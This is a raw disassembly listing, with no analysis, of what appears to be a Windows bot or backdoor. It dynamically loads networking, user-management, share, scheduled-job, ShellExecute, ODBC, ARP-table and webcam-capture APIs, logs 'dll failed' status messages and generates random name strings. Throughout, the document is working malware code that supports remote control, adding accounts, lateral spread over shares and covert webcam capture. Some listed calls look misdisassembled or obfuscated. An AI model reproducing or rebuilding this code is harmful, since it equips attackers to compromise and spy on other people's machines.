		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB058, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB068, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB070, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB078, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB080, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB088, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB090, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB098, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB0A0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 39h, 60h
; ---------------------------------------------------------------------------
		sub	[edx], eax
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
